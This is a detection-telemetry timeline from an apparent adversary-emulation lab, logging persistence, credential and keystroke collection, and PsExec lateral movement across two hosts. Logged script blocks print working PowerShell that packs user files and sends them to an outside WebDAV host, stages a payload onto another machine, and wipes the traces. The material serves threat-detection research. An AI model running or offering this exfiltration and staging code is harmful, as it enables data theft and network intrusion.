Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:03:33 PM **Event Type:** Registry Modification

Detail: HKU · SOFTWARE · Sysinternals\SDelete\EulaAccepted

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:03:50 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: Move-Item .\readme.txt readme.ps1

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:03:58 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: . .\readme.ps1

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:04:04 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: Invoke-Discovery

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:04:15 PM **Event Type:** Registry Modification

Detail: HKLM · SYSTEM · CurrentControlSet\Services\javamtsup\Start

Comment: javamtsup.exe new service

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:04:16 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: Invoke-Persistence -PersistStep 1

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:04:23 PM **Event Type:** Registry Modification

Detail: HKLM · SOFTWARE · Javasoft

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:04:23 PM **Event Type:** Registry Modification

Detail: HKLM · SOFTWARE · Javasoft\value Supplement

Comment: The observed event details a registry modification on the endpoint "SCRANTON.dmevals.local." The registry path "HKLM\SOFTWARE\Javasoft\value Supplement" was altered to include a command that executes "powershell.exe" with several parameters designed to run a hidden PowerShell script. The script is encoded in Base64 and, when decoded, initiates a PowerShell process that reads and decompresses a Gzip stream from memory, ultimately executing the embedded script. The command includes options to run without a profile, with a hidden window, and to execute the script block directly. The event was logged by Sysmon (Microsoft-Windows-Sysmon/Operational) with EventID 13, indicating a registry value set operation. The process responsible for this modification was "powershell.exe" with ProcessId 3876, executed by the SYSTEM account. The event was recorded on May 1, 2020, at 23:04:23 UTC. This registry modification is indicative of a persistence mechanism, where an attacker ensures that a malicious PowerShell script is executed upon system startup or during specific operations. The use of Base64 encoding and Gzip compression suggests an attempt to obfuscate the payload, making it harder to detect and analyze. The hidden execution of PowerShell further indicates an effort to avoid user detection and maintain stealth on the compromised system.

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:04:23 PM **Event Type:** File Modifcation

Detail: create · C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\hostui.lnk

Comment: hostui.exe user logon entrenchment

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:04:23 PM **Event Type:** Evtx Event

Detail: Windows PowerShell · Event ID 800 · Includes partial script code

Comment: Move-Item "C:\Program Files\SysinternalsSuite\hostui.txt" "C:\Windows\System32\hostui.bat"

Timeline

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:04:24 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: Invoke-Persistence -PersistStep 2

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:04:24 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4103 · Pipeline executed

Comment: "Move-Item" ParameterBinding(Move-Item): value="C:\Program Files\SysinternalsSuite\strings64.exe" value="C:\Windows\System32\hostui.exe"

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:04:36 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: "C:\Program Files\SysinternalsSuite\accesschk.exe"

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:04:57 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: Get-PrivateKeys

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:04:57 PM **Event Type:** File Modifcation

Detail: create · C:\Users\pbeesly\Downloads\coyn5igj.3io.pfx

Comment: Collected private keys from Export-PfxCertificate module Pipeline execution details for command line: Export-PfxCertificate -Cert $CertPath -FilePath $Filepath -Password $mypwd -ErrorAction SilentlyContinue . Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=3968 UserId=DMEVALS\pbeesly HostName=ConsoleHost HostVersion=5.1.18362.628 HostId=a1219642-d065-4cde-8f58-8d87d685e4b7 HostApplication=powershell.exe EngineVersion=5.1.18362.628 RunspaceId=4a7c8f4b-0979-4419-b365-f34273747df5 PipelineId=59 ScriptName=C:\Program Files\SysinternalsSuite\readme.ps1 CommandLine= Export-PfxCertificate -Cert $CertPath -FilePath $Filepath -Password $mypwd -ErrorAction SilentlyContinue Details: CommandInvocation(Export-PfxCertificate): "Export-PfxCertificate" ParameterBinding(Export-PfxCertificate): name="Cert"; value="" ParameterBinding(Export-PfxCertificate): name="FilePath"; value="C:\Users\pbeesly\Downloads\oqctz3vr.d13.pfx" ParameterBinding(Export-PfxCertificate): name="Password"; value="System.Security.SecureString" ParameterBinding (Export-PfxCertificate): name="ErrorAction"; value="SilentlyContinue" TerminatingError(Export-PfxCertificate): "Cannot export non-exportable private key."

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:05:16 PM **Event Type:** Open Process

Detail: C:\windows\system32\lsass.exe

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:05:16 PM **Event Type:** Create Remote Thread

Detail: C:\Windows\System32\lsass.exe

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:05:24 PM **Event Type:** Process Execute

Detail: pbeesly · powershell.exe · powershell.exe

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:05:24 PM **Event Type:** Process Execute

Detail: pbeesly · conhost.exe · \??\C:\windows\system32\conhost.exe 0xffffffff -ForceV1

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:05:39 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: Move-Item .\psversion.txt psversion.ps1

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:05:46 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: . .\psversion.ps1

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:05:55 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: Invoke-ScreenCapture;Start-Sleep -Seconds 3;View-Job -JobName "Screenshot"

Timeline

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:05:56 PM **Event Type:** Process Execute

Detail: `pbeesly • powershell.exe • "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:05:56 PM **Event Type:** Process Execute

Detail: `pbeesly • conhost.exe • \??\C:\windows\system32\conhost.exe 0xffffffff -ForceV1`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:06:00 PM **Event Type:** File Modifcation

Detail: `create • C:\Users\pbeesly\Downloads\gwq4xdwv.s5g.bmp`

Comment: `Invoke-ScreenCapture output file`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:06:43 PM **Event Type:** Evtx Event

Detail: `Microsoft-Windows-PowerShell/Operational • Event ID 4104 • Scriptblock executed`

Comment: `Get-Clipboard`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:06:48 PM **Event Type:** Evtx Event

Detail: `Microsoft-Windows-PowerShell/Operational • Event ID 4104 • Scriptblock executed`

Comment: `Keystroke-Check`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:06:59 PM **Event Type:** Process Execute

Detail: `pbeesly • powershell.exe • "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile`

Comment: `Get-Keystrokes;Start-Sleep -Seconds 15;View-Job -JobName "Keystrokes"`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:06:59 PM **Event Type:** Process Execute

Detail: `pbeesly • conhost.exe • \??\C:\windows\system32\conhost.exe 0xffffffff -ForceV1`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:06:59 PM **Event Type:** Evtx Event

Detail: `Microsoft-Windows-PowerShell/Operational • Event ID 4104 • Scriptblock executed`

Comment: `Get-Keystrokes;Start-Sleep -Seconds 15;View-Job -JobName "Keystrokes"`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:07:36 PM **Event Type:** Evtx Event

Detail: `Microsoft-Windows-PowerShell/Operational • Event ID 4104 • Scriptblock executed`

Comment: `View-Job -JobName "Keystrokes"`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:08:03 PM **Event Type:** Process Execute

Detail: `pbeesly • csc.exe • "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\pbeesly\AppData\Local\Temp\0piklvia\0piklvia.cmdline"`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:08:03 PM **Event Type:** Evtx Event

Detail: `Microsoft-Windows-PowerShell/Operational • Event ID 4104 • Scriptblock executed`

Comment: `Invoke-Exfil`

Timeline

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:08:35 PM **Event Type:** File Modifcation

Detail: create · C:\Users\pbeesly\AppData\Roaming\OfficeSupplies.7z

Comment: Invoke-Exfil output file. Invoke-Exfil { if (!(Get-Module -Name "7Zip4Powershell")) { Write-Host "[*] Installing 7Zip4Powershell module"; Install-Module -Name 7Zip4Powershell -Force } Write-Host "[*] Compressing all the things in download dir" Compress-7Zip -Path "$env:USERPROFILE\Downloads\" -Filter * -Password "lolol" -ArchiveFileName "$env:APPDATA\OfficeSupplies.7z" $UserName = "cozy" $Password = "MyCozyPassw0rd!" | ConvertTo-SecureString -AsPlainText -Force $Creds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $UserName, $Password $WebDavShare = "WebDavShare" $uri = "\\192.168.0.4\webdav" Remove-PSDrive $WebDavShare -Force -ErrorAction SilentlyContinue # Ensure another PSDrive is not occupying the name WebDavShare Write-Host "[*] Creating a temporary mapped network drive - WebDavShare" New-PSDrive -Name $WebDavShare -PSProvider FileSystem -Root $uri -Credential $Creds Write-Host "[*] Copying data to WebDavShare" Copy-Item "$env:APPDATA\OfficeSupplies.7z" "WebDavShare:\OfficeSupplies.7z" -Force Write-Host "[*] Removing temporary network share" Remove-PSDrive $WebDavShare -Force -ErrorAction SilentlyContinue Invoke-BeachCleanup }

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:08:47 PM **Event Type:** Network Connection

Detail: Outbound · 192.168.0.4 · 80 · TCP

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:08:50 PM **Event Type:** Windows PE

Detail: Windows EXE · ed3e182db635685ad65071473ec1dbaed5fde9f3014716f734b9816b73ac0905

Comment: python.exe download from 192.168.0.4

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:08:50 PM **Event Type:** Process Execute

Detail: pbeesly · rundll32.exe · rundll32.exe C:\windows\system32\davclnt.dll,DavSetCookie 192.168.0.4 http://192.168.0.4/webdav

Comment: Retrieves seadaddy(python.exe) and copies it to network shares function Invoke-SeaDukeStage { [CmdletBinding()] Param([Parameter(Position=0,Mandatory=$True)] $ComputerName) $UserName = "cozy" $Password = "MyCozyPassw0rd!" | ConvertTo-SecureString -AsPlainText -Force $Creds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $UserName, $Password $WebDavShare = "WebDavShare" $uri = "\\192.168.0.4\webdav" Remove-PSDrive $WebDavShare -Force -ErrorAction SilentlyContinue Write-Host "[*] Creating a temporary mapped network drive - WebDavShare" New-PSDrive -Name $WebDavShare -PSProvider FileSystem -Root $uri -Credential $Creds Write-Host "[*] Dropping seadaddy" Copy-Item "WebDavShare:\python.exe" "\\$ComputerName\ADMIN$\Temp\python.exe" -Force Write-Host "[*] Removing temporary network share" Remove-PSDrive $WebDavShare -Force -ErrorAction SilentlyContinue } ScriptBlock ID: ff8c5f82-c338-4e05-a61f-bf60c514f5d1 Path: C:\Program Files\SysinternalsSuite\psversion.ps1

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:08:50 PM **Event Type:** Network Connection

Detail: Outbound · 192.168.0.4 · 80 · TCP

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:08:50 PM **Event Type:** Network Connection

Detail: Outbound · 192.168.0.4 · 80 · TCP

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:08:51 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: Set-Alias -Name gcim -Value Get-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:08:51 PM **Event Type:** File Modifcation

Detail: delete · C:\Users\pbeesly\Downloads\coyn5igj.3io.pfx

Timeline

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:08:51 PM **Event Type:** File Modifcation

Detail: delete · C:\Users\pbeesly\Downloads\gwq4xdwv.s5g.bmp

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:08:51 PM **Event Type:** File Modifcation

Detail: delete · C:\Users\pbeesly\Downloads\monkey.png

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:08:51 PM **Event Type:** File Modifcation

Detail: delete · C:\Users\pbeesly\AppData\Roaming\OfficeSupplies.7z

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:08:52 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: function Invoke-BeachCleanup { Write-Host "[*] Cleaning up" Remove-Item -Path "$env:USERPROFILE\Downloads*.pfx" -Force Remove-Item -Path "$env:USERPROFILE\Downloads\*.bmp" -Force Remove-Item -Path "$env:USERPROFILE\Downloads*.png" -Force Remove-Item -Path "$env:APPDATA\OfficeSupplies.7z" -Force }

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:09:04 PM **Event Type:** Network Connection

Detail: Outbound · 10.0.0.4 · 389 · TCP

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:09:04 PM **Event Type:** DNS Lookup

Detail: NEWYORK.dmevals.local · 0 · ::ffff:10.0.0.4;

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:09:04 PM **Event Type:** Network Connection

Detail: Outbound · 10.0.0.4 · 389 · TCP

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:09:05 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: Ad-Search Computer Name *

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:09:23 PM **Event Type:** Network Connection

Detail: Outbound · 10.0.1.6 · 5985 · TCP

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:09:23 PM **Event Type:** DNS Lookup

Detail: nashua · 0 · ::ffff:10.0.1.6;

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:09:27 PM **Event Type:** Network Connection

Detail: Outbound · 10.0.1.6 · 5985 · TCP

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:09:28 PM **Event Type:** Network Connection

Detail: Outbound · 10.0.1.6 · 5985 · TCP

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:09:29 PM **Event Type:** Network Connection

Detail: Outbound · 10.0.1.6 · 5985 · TCP

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:10:22 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: Invoke-SeaDukeStage -ComputerName NASHUA

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:10:23 PM **Event Type:** Evtx Event

Detail: Security · Event ID 5145 · A network share object was checked to see whether client can be granted desired access

Comment: Share Name: *\ADMIN$ Share Path: \??\C:\windows Relative Target Name: Temp\python.exe

Timeline

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:10:23 PM **Event Type:** Network Connection

Detail: `Outbound · 192.168.0.4 · 80 · TCP`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:10:23 PM **Event Type:** Network Connection

Detail: `Outbound · 192.168.0.4 · 80 · TCP`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:10:23 PM **Event Type:** Network Connection

Detail: `Outbound · 192.168.0.4 · 80 · TCP`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:10:23 PM **Event Type:** File Modifcation

Detail: `create · C:\Windows\Temp\python.exe`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:10:24 PM **Event Type:** Windows Logon

Detail: `DMEVALS.LOCAL · pbeesly · 10.0.1.4`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:10:24 PM **Event Type:** Evtx Event

Detail: `Security · Event ID 5140 · A network share object was accessed`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:10:24 PM **Event Type:** Windows Logon

Detail: `DMEVALS.LOCAL · pbeesly · 10.0.1.4`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:10:24 PM **Event Type:** Windows Logon

Detail: `DMEVALS.LOCAL · pbeesly · 10.0.1.4`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:10:25 PM **Event Type:** Windows Logon

Detail: `DMEVALS.LOCAL · pbeesly · 10.0.1.4`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:11:18 PM **Event Type:** Process Execute

Detail: `pbeesly · PsExec64.exe · "C:\Program Files\SysinternalsSuite\PsExec64.exe" -accepteula \\NASHUA -u dmevals\pbeesly -p Fl0nk3rt0n!T0by -i 2 C:\Windows\Temp\python.exe`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:11:18 PM **Event Type:** Network Connection

Detail: `Outbound · 10.0.1.6 · 445 · TCP`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:11:18 PM **Event Type:** Registry Modification

Detail: `HKU · SOFTWARE · Sysinternals\PsExec\EulaAccepted`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:11:18 PM **Event Type:** File Modifcation

Detail: `create · C:\Windows\PSEXESVC.exe`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:11:20 PM **Event Type:** Evtx Event

Detail: `Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed`

Comment: `.\PsExec64.exe -accepteula \\NASHUA -u "dmevals\pbeesly" -p "Fl0nk3rt0n!T0by" -i 2 "C:\Windows\Temp\python.exe"`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:11:20 PM **Event Type:** Evtx Event

Detail: `Security · Event ID 5140 · A network share object was accessed`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:11:20 PM **Event Type:** Windows Logon

Detail: `DMEVALS.LOCAL · pbeesly · 10.0.1.4`

Timeline

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:11:20 PM **Event Type:** Evtx Event
Detail: `Security · Event ID 5140 · A network share object was accessed`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:11:39 PM **Event Type:** Process Execute
Detail: `SYSTEM · PSEXESVC.exe · C:\windows\PSEXESVC.exe`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:11:40 PM **Event Type:** Process Execute
Detail: `pbeesly · python.exe · "C:\Windows\Temp\python.exe"`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:11:40 PM **Event Type:** Process Execute
Detail: `pbeesly · conhost.exe · \??\C:\windows\system32\conhost.exe 0xffffffff -ForceV1`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:12:25 PM **Event Type:** Process Execute
Detail: `pbeesly · PsExec64.exe · "C:\Program Files\SysinternalsSuite\PsExec64.exe" -accepteula \\NASHUA -u dmevals\pbeesly -p Fl0nk3rt0n!T0by -i 2 C:\Windows\Temp\python.exe`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:12:25 PM **Event Type:** Registry Modification
Detail: `HKU · SOFTWARE · Sysinternals\PsExec\EulaAccepted`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:12:25 PM **Event Type:** Network Connection
Detail: `Outbound · 10.0.1.6 · 135 · TCP`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:12:25 PM **Event Type:** File Modifcation
Detail: `create · C:\Windows\PSEXESVC.exe`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:12:26 PM **Event Type:** Evtx Event
Detail: `Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed`
Comment: `.\PsExec64.exe -accepteula \\NASHUA -u "dmevals\pbeesly" -p "Fl0nk3rt0n!T0by" -i 2 "C:\Windows\Temp\python.exe"`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:12:26 PM **Event Type:** Windows Logon
Detail: `DMEVALS.LOCAL · pbeesly · 10.0.1.4`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:12:26 PM **Event Type:** Evtx Event
Detail: `Security · Event ID 5140 · A network share object was accessed`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:12:26 PM **Event Type:** Evtx Event
Detail: `Security · Event ID 5140 · A network share object was accessed`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:12:46 PM **Event Type:** Process Execute
Detail: `SYSTEM · PSEXESVC.exe · C:\windows\PSEXESVC.exe`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:12:46 PM **Event Type:** Process Execute
Detail: `pbeesly · python.exe · "C:\Windows\Temp\python.exe"`

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:12:46 PM **Event Type:** Process Execute
Detail: `pbeesly · conhost.exe · \??\C:\windows\system32\conhost.exe 0xffffffff -ForceV1`

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:13:28 PM **Event Type:** Process Execute
Detail: `pbeesly · PsExec64.exe · "C:\Program Files\SysinternalsSuite\PsExec64.exe" -accepteula \\NASHUA -u dmevals\pbeesly -p Fl0nk3rt0n!T0by -i 2 C:\Windows\Temp\python.exe`

Timeline

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:13:28 PM **Event Type:** Registry Modification
Detail: HKU • SOFTWARE • Sysinternals\PsExec\EulaAccepted

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:13:28 PM **Event Type:** Network Connection
Detail: Outbound • 10.0.1.6 • 135 • TCP

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:13:28 PM **Event Type:** File Modifcation
Detail: create • C:\Windows\PSEXESVC.exe

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:13:30 PM **Event Type:** Evtx Event
Detail: Microsoft-Windows-PowerShell/Operational • Event ID 4104 • Scriptblock executed
Comment: .\PsExec64.exe -accepteula \\NASHUA -u "dmevals\pbeesly" -p "Fl0nk3rt0n!T0by" -i 2 "C:\Windows\Temp\python.exe"

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:13:30 PM **Event Type:** Windows Logon
Detail: DMEVALS.LOCAL • pbeesly • 10.0.1.4

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:13:30 PM **Event Type:** Evtx Event
Detail: Security • Event ID 5140 • A network share object was accessed

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:13:30 PM **Event Type:** Evtx Event
Detail: Security • Event ID 5140 • A network share object was accessed

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:13:49 PM **Event Type:** Process Execute
Detail: SYSTEM • PSEXESVC.exe • C:\windows\PSEXESVC.exe

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:13:49 PM **Event Type:** Process Execute
Detail: pbeesly • python.exe • "C:\Windows\Temp\python.exe"

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:13:49 PM **Event Type:** Process Execute
Detail: pbeesly • conhost.exe • \??\C:\windows\system32\conhost.exe 0xffffffff -ForceV1

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:14:42 PM **Event Type:** Process Execute
Detail: pbeesly • PsExec64.exe • "C:\Program Files\SysinternalsSuite\PsExec64.exe" -accepteula \\NASHUA -u dmevals\pbeesly -p Fl0nk3rt0n!T0by -i 2 C:\Windows\Temp\python.exe

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:14:42 PM **Event Type:** Network Connection
Detail: Outbound • 10.0.1.6 • 445 • TCP

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:14:42 PM **Event Type:** Registry Modification
Detail: HKU • SOFTWARE • Sysinternals\PsExec\EulaAccepted

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:14:42 PM **Event Type:** File Modifcation
Detail: create • C:\Windows\PSEXESVC.exe

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:14:44 PM **Event Type:** Evtx Event
Detail: Microsoft-Windows-PowerShell/Operational • Event ID 4104 • Scriptblock executed
Comment: .\PsExec64.exe -accepteula \\NASHUA -u "dmevals\pbeesly" -p "Fl0nk3rt0n!T0by" -i 2 "C:\Windows\Temp\python.exe"

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:14:44 PM **Event Type:** Windows Logon
Detail: DMEVALS.LOCAL • pbeesly • 10.0.1.4

Timeline

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:14:44 PM **Event Type:** Evtx Event

Detail: Security • Event ID 5140 • A network share object was accessed

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:14:44 PM **Event Type:** Evtx Event

Detail: Security • Event ID 5140 • A network share object was accessed

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:15:03 PM **Event Type:** Process Execute

Detail: SYSTEM • PSEXESVC.exe • C:\windows\PSEXESVC.exe

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:15:03 PM **Event Type:** Process Execute

Detail: pbeesly • python.exe • "C:\Windows\Temp\python.exe"

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:15:03 PM **Event Type:** Process Execute

Detail: pbeesly • conhost.exe • \??\C:\windows\system32\conhost.exe 0xffffffff -ForceV1

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:15:04 PM **Event Type:** File Modifcation

Detail: create • C:\Users\pbeesly\AppData\Local\Temp_MEI29522

Comment: File pattern indicates frozen python application

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:15:04 PM **Event Type:** Process Execute

Detail: pbeesly • python.exe • "C:\Windows\Temp\python.exe"

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:15:05 PM **Event Type:** Network Connection

Detail: Outbound • 192.168.0.4 • 8443 • TCP

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:15:05 PM **Event Type:** Windows Logon

Detail: DMEVALS • pbeesly • -

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:15:31 PM **Event Type:** File Modifcation

Detail: create • C:\Windows\Temp\Rar.exe

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:15:38 PM **Event Type:** File Modifcation

Detail: create • C:\Windows\Temp\sdelete64.exe

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:15:48 PM **Event Type:** Process Execute

Detail: pbeesly • powershell.exe • powershell.exe

Timeline

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:15:59 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: The event log indicates the execution of a PowerShell script block on the computer "NASHUA.dmevals.local" within the domain "DMEVALS". The event, identified by Event ID 4104, was recorded in the Microsoft-Windows-PowerShell/Operational channel. The script block, executed by the user account "pbeesly" (UserID: S-1-5-21-1830255721-3727074217-2423397540-1107), involves the enumeration and compression of various file types from the user's profile directory into a zip archive located in the APPDATA directory. The script specifically searches for files with extensions such as .doc, .xls, .ppt, .pdf, .zip, .rar, among others, and includes keywords like *psw*, *pass*, *login*, *admin*, *vpn*, indicating a potential focus on sensitive or credential-related information. The files are then compressed into an archive named "working.zip" using the Compress-Archive cmdlet with optimal compression level and stored in the APPDATA directory. The event was categorized under "Execute a Remote Command" and tagged with "mordorDataset", suggesting it may be part of a dataset used for threat detection or research. The script block's execution was logged with a severity level of DEBUG and was processed by the thread with ID 4580. The event was received and timestamped on May 1, 2020, at 23:16:00 UTC. This activity is indicative of potential data exfiltration techniques, where an attacker may be attempting to gather and compress sensitive files for later extraction. The use of PowerShell for such operations aligns with common tactics observed in cyber incidents, where legitimate administrative tools are leveraged for malicious purposes.

Timeline

Host: NASHUA.dmevals.local **Timestamp:** 5/1/2020 11:16:00 PM **Event Type:** File Modifcation

Detail: create · C:\Users\pbeesly\AppData\Roaming\working.zip

